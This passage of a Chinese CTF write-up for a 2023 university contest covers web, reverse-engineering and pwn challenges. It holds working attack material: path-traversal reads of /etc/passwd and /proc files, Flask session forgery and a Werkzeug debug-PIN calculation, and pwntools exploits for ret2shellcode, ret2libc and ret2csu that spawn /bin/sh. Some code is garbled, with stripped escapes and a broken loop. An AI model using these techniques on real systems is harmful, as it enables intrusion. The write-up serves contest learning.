        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0",
        port=80
    )

session伪造(假的)

如果光读源码的话,其实伪造sessionusername=flllag,就可以,但实际上

2023齐鲁师范学院网络安全考核赛WriteUp
2023齐鲁师范学院网络安全考核赛WriteUp

但出于学习的目的,还是写一下session伪造

@app.route('/flag')
def flag():
    if session and session['username'] == 'flllag':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

在这一段可以看到,如果session=flllag,就会open('/flag.txt').read()

抓一下包,找session

2023齐鲁师范学院网络安全考核赛WriteUp
session=eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZCEJ8Q.ViozlLPgrNPlU-frHVjZKTUp39c

放jwt解一下

2023齐鲁师范学院网络安全考核赛WriteUp

base64解一下b就是源码上所说的

@app.route('/')
def index():
    session['username'] = 'www-data'

www-data目的就是把www-data改为flllag,改session是要key的,key的计算也给出了

app.config['SECRET_KEY'] = str(random.random()*233)

对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

/read?url=..//sys/class/net/eth0/address

//02:42:ac:17:00:02
import random
random.seed(0x0242ac170002)
print(str(random.random()*233))


//2.64431321053

之后用工具flask_session_cookie_manager3伪造即可

解密

python3 flask_session_cookie_manager3.py decode -s "2.64431321053" -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZCEJ8Q.ViozlLPgrNPlU-frHVjZKTUp39c"
2023齐鲁师范学院网络安全考核赛WriteUp

加密

python3 flask_session_cookie_manager3.py encode -s "2.64431321053" -t "{'username': b'flllag'}
2023齐鲁师范学院网络安全考核赛WriteUp

得到加密后的session

eyJ1c2VybmFtZSI6eyIgYiI6IlpteHNiR0ZuIn19.ZCEXFg.x81HPCIwHDmo-_9RN09WZBX6bnE
2023齐鲁师范学院网络安全考核赛WriteUp
2023齐鲁师范学院网络安全考核赛WriteUp

计算pin码

从源码中可以看到打开了debug

if __name__=='__main__':
    app.run(
        debug=True,

可以计算pin码

读mac地址

/read?url=..//sys/class/net/eth0/address
02:42:ac:17:00:02

读machine-id

/read?url=../..//proc/sys/kernel/random/boot_id
7bf5f160-2b7e-4387-871c-1f267f373f4f

读机器id

/read?url=../../../..//proc/self/cgroup
fe33d78d48787917229f406b4bb6ae9ee0aa6d5a6d6cf4b273592da56528651c

获取用户名

/read?url=../../../..//etc/passwd

计算PIN码脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'ctf',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python2.7/site-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485378285570'# str(uuid.getnode()),  /sys/class/net/eth0/address
    '7bf5f160-2b7e-4387-871c-1f267f373f4ffe33d78d48787917229f406b4bb6ae9ee0aa6d5a6d6cf4b273592da56528651c'# get_machine_id(),/etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 543:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
2023齐鲁师范学院网络安全考核赛WriteUp

REVERSE

再仔细一点哦

考点:魔改upx    快捷键r转换字符

查壳发现64位有upx壳

2023齐鲁师范学院网络安全考核赛WriteUp

进行脱壳

2023齐鲁师范学院网络安全考核赛WriteUp

本来想着魔改upx来着,没想到魔改之后还能一步脱壳(我的锅我的锅)

2023齐鲁师范学院网络安全考核赛WriteUp

拖进ida查看主函数

2023齐鲁师范学院网络安全考核赛WriteUp

看到81 76 78 85 敏感一点就可以想到这是QLNU的十进制写法

简单分析一下算法,if语句判断,数组i的前四个字符是QLNU就输入right,并且else if语句中也都把数组i中的字符串进行了定义,否则就输出wrong,所以将数组i中的字符串按顺序排列好即可出flag

按r可转换为字符

2023齐鲁师范学院网络安全考核赛WriteUp
QLNU{Welcome_to_the_competition}

动次打次

考点:远程动调

查壳64位无壳,ELF文件

2023齐鲁师范学院网络安全考核赛WriteUp

拖入ida

在kali开启终端,给需要动调的软件和所需文件赋予权限

2023齐鲁师范学院网络安全考核赛WriteUp

然后将文件拖入终端中

2023齐鲁师范学院网络安全考核赛WriteUp

在ida启动远程动调,先下好断点,然后选择远程linux动调,点击启动按钮

2023齐鲁师范学院网络安全考核赛WriteUp
2023齐鲁师范学院网络安全考核赛WriteUp
2023齐鲁师范学院网络安全考核赛WriteUp
2023齐鲁师范学院网络安全考核赛WriteUp

会依次弹出三个弹窗,直接yes ok就可,然后让ida自动寻找文件路径,就会出现下边界面

这样说明程序还在运行但是还没有调起来,因为我们需要在kali输入flag才可以

2023齐鲁师范学院网络安全考核赛WriteUp

这样ida就停在了我们下断点的地方

2023齐鲁师范学院网络安全考核赛WriteUp

比较我们输入的是否和字符串s相等,如果相等则输出good,所以我们查看字符串s的值即可

2023齐鲁师范学院网络安全考核赛WriteUp

这样就找到了我们的flag

flag:QLNU{Cr@zy_Sund@y}

算是简单的APK

用jadx-gui打开,找到MainActivity,有加密数据,XXXX是加密函数,点击跟进

2023齐鲁师范学院网络安全考核赛WriteUp

代码中有解密函数,写个java脚本调动解密函数就行

2023齐鲁师范学院网络安全考核赛WriteUp

将XXXX的代码全复制下来,改点东西就行

2023齐鲁师范学院网络安全考核赛WriteUp

JAVA代码运行工具推荐IDEA,使用方法百度吧。(๑•́ ₃ •̀๑)

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import java.nio.charset.StandardCharsets;
import java.util.Locale;

public class test {
    private static final int DELTA = -1640531527;
    private static final int[] KEY = {295654981, -158607964, -2093793286, -1412567278};
    private static final int TIMES = 32;

    private static int toInt(char c) {
        if (c < '0' || c > '9') {
            if (c < 'A' || c > 'F') {
                if (c < 'a' || c > 'f') {
                    return 0;
                }
                return c - 'W';
            }
            return c - '7';
        }
        return c - '0';
    }

    private static int transform(byte b) {
        return b < 0 ? b + 256 : b;
    }

    public static byte[] encrypt(byte[] bArr, int i, int[] iArr, int i2) {
        int[] byteToInt = byteToInt(bArr, i);
        int i3 = byteToInt[0];
        int i4 = byteToInt[1];
        int i5 = 0;
        while (i2 > 0) {
            i5 -= 1640531527;
            i3 += (((i4 << 4) + iArr[0]) ^ (i4 + i5)) ^ ((i4 >> 5) + iArr[1]);
            i4 += (((i3 << 4) + iArr[2]) ^ (i3 + i5)) ^ ((i3 >> 5) + iArr[3]);
            i2--;
        }
        byteToInt[0] = i3;
        byteToInt[1] = i4;
        return intToByte(byteToInt);
    }

    public static byte[] decrypt(byte[] bArr, int i, int[] iArr, int i2) {
        int[] byteToInt = byteToInt(bArr, i);
        int i3 = byteToInt[0];
        int i4 = byteToInt[1];
        int i5 = i2 == 32 ? -957401312 : i2 == 16 ? -478700656 : DELTA * i2;
        while (i2 > 0) {
            i4 -= (((i3 << 4) + iArr[2]) ^ (i3 + i5)) ^ ((i3 >> 5) + iArr[3]);
            i3 -= (((i4 << 4) + iArr[0]) ^ (i4 + i5)) ^ ((i4 >> 5) + iArr[1]);
            i5 += 1640531527;
            i2--;
        }
        byteToInt[0] = i3;
        byteToInt[1] = i4;
        return intToByte(byteToInt);
    }

    private static int[] byteToInt(byte[] bArr, int i) {
        int[] iArr = new int[bArr.length >> 2];
        int i2 = 0;
        while (i < bArr.length) {
            iArr[i2] = transform(bArr[i + 3]) | (transform(bArr[i + 2]) << 8) | (transform(bArr[i + 1]) << 16) | (bArr[i] << 24);
            i2++;
            i += 4;
        }
        return iArr;
    }

    private static byte[] intToByte(int[] iArr) {
        int length = iArr.length << 2;
        byte[] bArr = new byte[length];
        int i = 0;
        for (int i2 = 0; i2 < length; i2 += 4) {
            bArr[i2 + 3] = (byte) (iArr[i] & 255);
            bArr[i2 + 2] = (byte) ((iArr[i] >> 8) & 255);
            bArr[i2 + 1] = (byte) ((iArr[i] >> 16) & 255);
            bArr[i2] = (byte) ((iArr[i] >> 24) & 255);
            i++;
        }
        return bArr;
    }

    private static byte[] encryptByTea(String str) {
        byte[] bytes = str.getBytes();
        int length = 8 - (bytes.length % 8);
        int length2 = bytes.length + length;
        byte[] bArr = new byte[length2];
        bArr[0] = (byte) length;
        System.arraycopy(bytes, 0, bArr, length, bytes.length);
        byte[] bArr2 = new byte[length2];
        for (int i = 0; i < length2; i += 8) {
            System.arraycopy(encrypt(bArr, i, KEY, 32), 0, bArr2, i, 8);
        }
        return bArr2;
    }

    private static String decryptByTea(byte[] bArr) {
        byte[] bArr2 = new byte[bArr.length];
        byte[] bArr3 = null;
        for (int i = 0; i < bArr.length; i += 8) {
            bArr3 = decrypt(bArr, i, KEY, 32);
            System.arraycopy(bArr3, 0, bArr2, i, 8);
        }
        byte b = bArr2[0];
        return new String(bArr2, (int) b, bArr3.length - b);
    }

    private static String bytes2hex(byte[] bArr) {
        String substring;
        StringBuilder sb = new StringBuilder();
        for (byte b : bArr) {
            String hexString = Integer.toHexString(b);
            if (hexString.length() == 1) {
                substring = "0" + hexString;
            } else {
                substring = hexString.substring(hexString.length() - 2);
            }
            sb.append(substring);
        }
        return sb.toString().toUpperCase(Locale.getDefault());
    }

    private static byte[] hex2bytes(String str) {
        if (str.length() % 2 != 0) {
            str = "0" + str;
        }
        int length = str.length() / 2;
        byte[] bArr = new byte[length];
        for (int i = 0; i < length; i++) {
            int i2 = i * 2;
            bArr[i] = (byte) ((toInt(str.charAt(i2)) * 16) + toInt(str.charAt(i2 + 1)));
        }
        return bArr;
    }

    private static String replacePlus(String str) {
        return (str == null || "".equals(str)) ? "" : str.replace("+""%2B");
    }

    private static String addPlus(String str) {
        return (str == null || "".equals(str)) ? "" : str.replace("%2B""+");
    }

    public static String encryptByBase64Tea(String str) {
        return replacePlus(new String(Base64.encode(encryptByTea(bytes2hex(str.getBytes(StandardCharsets.UTF_8))))));
    }

    public static String decryptByBase64Tea(String str) {
        byte[] hex2bytes = hex2bytes(decryptByTea(Base64.decode(addPlus(str))));
        if (hex2bytes.length > 0) {
            return new String(hex2bytes, StandardCharsets.UTF_8);
        }
        return null;
    }
}

写个主函数调用一下

public class slp {
    public static void main(String[] args) {
        System.out.println(test.decryptByBase64Tea("QgYJdovIBUC6ZkP9on8DVv8rKH7u0VbZ%2Bwe5gyWuIQ7avv%2BEOY6ajV9UzLOOYzJGlrOMV6NN2N%2B8/C2fjg4TWrJYP/AANmBIk2fH557lKZ8="));
    }
}

运行下,得到flag

2023齐鲁师范学院网络安全考核赛WriteUp

兔兔冲冲冲

hint:https://blog.csdn.net/weixin_49764009/article/details/120340153

python打包的exe,用pyinstxtractor和pycdc反编译回py

关键部分提取出来

from secret import flag
from Crypto.Cipher import AES

class Game:
    FLAG = flag
    magic = 0
    
 def magic_s(self):
        p = 16045690984230472446
        a = 114514
        b = 1919810
        self.magic = (a * self.magic + b) % p

 def print_flag(self):
        key = str(self.magic)[:16]
        enc = AES.new(key.encode(), AES.MODE_ECB)
        flag = enc.decrypt(self.FLAG)
        print(flag)

magic是仿射密码的加密方式,不过他有自加密多少轮

然后取magic的前16位做aes解密的key

反编译secret可以得到

flag = bytes.fromhex('17e8fb647b4b10cc8182f0f76649f08bd2d33eacb5fa4ca865d99062f8d0b4c479d7d2328081121536c26c6a4150efb5')

然后找一下magic_s函数被调用的位置

2023齐鲁师范学院网络安全考核赛WriteUp

这里是score+1的地方,推断magic_s调用了114514次

合起来

from Crypto.Cipher import AES
class Game:
    FLAG = bytes.fromhex('7f0d9e72c154df7ab6118974b8e510270deffe3e22a09d76f38d5867bae7e0bab8f02da161fe19f8b1474cc35aa6e3ab')

    magic = 0
    def magic_s(self):
        p = 16045690984230472446
        a = 114514
        b = 1919810
        self.magic = (a * self.magic + b) % p

    def print_flag(self):
        for i in range(114514):
            self.magic_s()
        key = str(self.magic)[:16]
        enc = AES.new(key.encode(), AES.MODE_ECB)
        flag = enc.decrypt(self.FLAG)
        print(flag)

Game().print_flag()

# b'QLNU{L0ve1y_RabBit_aNd_Re_pyth0n_with_you}tttttt'

PWN

shellcode

考点:ret2shellcode

给了两次输入机会,第一次写入shellcode,位置是name,第二次溢出,返回到name处

shellcode_exp:

from pwn import *
p=process('./shellcode')

shellcode="x50x48x31xd2x48x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x53x54x5fxb0x3bx0fx05"

name_addr=0x6010A0

p.recvuntil("name?n")
p.sendline(shellcode)

p.recvuntil("me?n")
payload=b"a"*0x28+p64(name_addr)

p.sendline(payload)
p.interactive()

libc

考点:ret2libc

程序运行给了puts函数的绝对地址,可以用来获取libc版本(后面作为附件发放了对应版本libc文件,可直接获取偏移) read函数可以溢出 ropgadget获取可用片段

不使用libc文件的exp

from pwn import *

#p=process('./libc')
p=remote('192.168.31.32',10000)
context.log_level = 'debug'

p.recvuntil('tfig :')
p.recvuntil('0x')
putsaddr=int(p.recv(12),16)
info('puts->'+hex(putsaddr))

offset_puts = 0x00000000000809c0
offset_system = 0x000000000004f440
offset_str_bin_sh = 0x1b3e9a


libcbase=putsaddr-offset_puts
info('libc->'+hex(libcbase))
system=libcbase+offset_system
binsh=libcbase+offset_str_bin_sh

pop_rdi_ret=0x00000000004007a3
ret=0x0000000000400546

payload=b'a'*0x108+p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()

libc_exp:

from pwn import *

p=process('./libc')
libc=ELF('./libc.so')

p.recvuntil('tfig :')
p.recvuntil('0x')
putsaddr=int(p.recv(12),16)


libcbase=putsaddr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))

pop_rdi_ret=0x00000000004007a3
ret=0x0000000000400546

payload=b'a'*0x108+p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()

calculate

考点:pwntools使用

交互题

2023齐鲁师范学院网络安全考核赛WriteUp

设计了八种运算,随机生成

必须用python3计算才是正确的,使用eval函数

from pwn import *

context.log_level = 'debug'

r = remote('39.101.72.63','10003')

r.sendlineafter(b"...",'')
for i in range(300):
    r.recvline()
    tmp = str(r.recvline())[2:-5].strip().replace('\n','')
    result = eval(tmp)

    r.sendline(str(result))
    r.recvline()
print(r.recv())

csu

考点:ret2csu

read函数可溢出 ida看到libc初始化片段__libc_csu_init可用,我们可以通过payload布局csu片段 write函数已经执行过,可泄露真实地址,从而利用它获取libc版本 ida可以得到write和main的地址 ropgadget获取可用片段

csu_exp
from pwn import*
p=process('./csu')
libc=ELF('./libc.so')

write_got=0x601018
main_addr=0x400699
pop_addr=0x40076A
mov_addr=0x400750

pop_rdi=0x400773
ret=0x400506
payload=b'a'*0x108+p64(pop_addr)+p64(0)+p64(1)+p64(write_got)+p64(1)+p64(write_got)+p64(8)+p64(mov_addr)+b'a'*(0x8+8*6)+p64(main_addr)
p.recvuntil('Please:n')
p.sendline(payload)
write_addr=u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))

libc_base=write_addr-libc.sym['write']
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/shx00"))

payload=b'a'*0x108+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
p.recvuntil('Please:n')
p.sendline(payload)
p.interactive()

网络安全社团公众号

微信号 : qlnu_ctf

新浪微博:齐鲁师范学院网络安全社团

2023齐鲁师范学院网络安全考核赛WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月27日21:42:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023齐鲁师范学院网络安全考核赛WriteUphttps://cn-sec.com/archives/1634288.html

发表评论

匿名网友 填写信息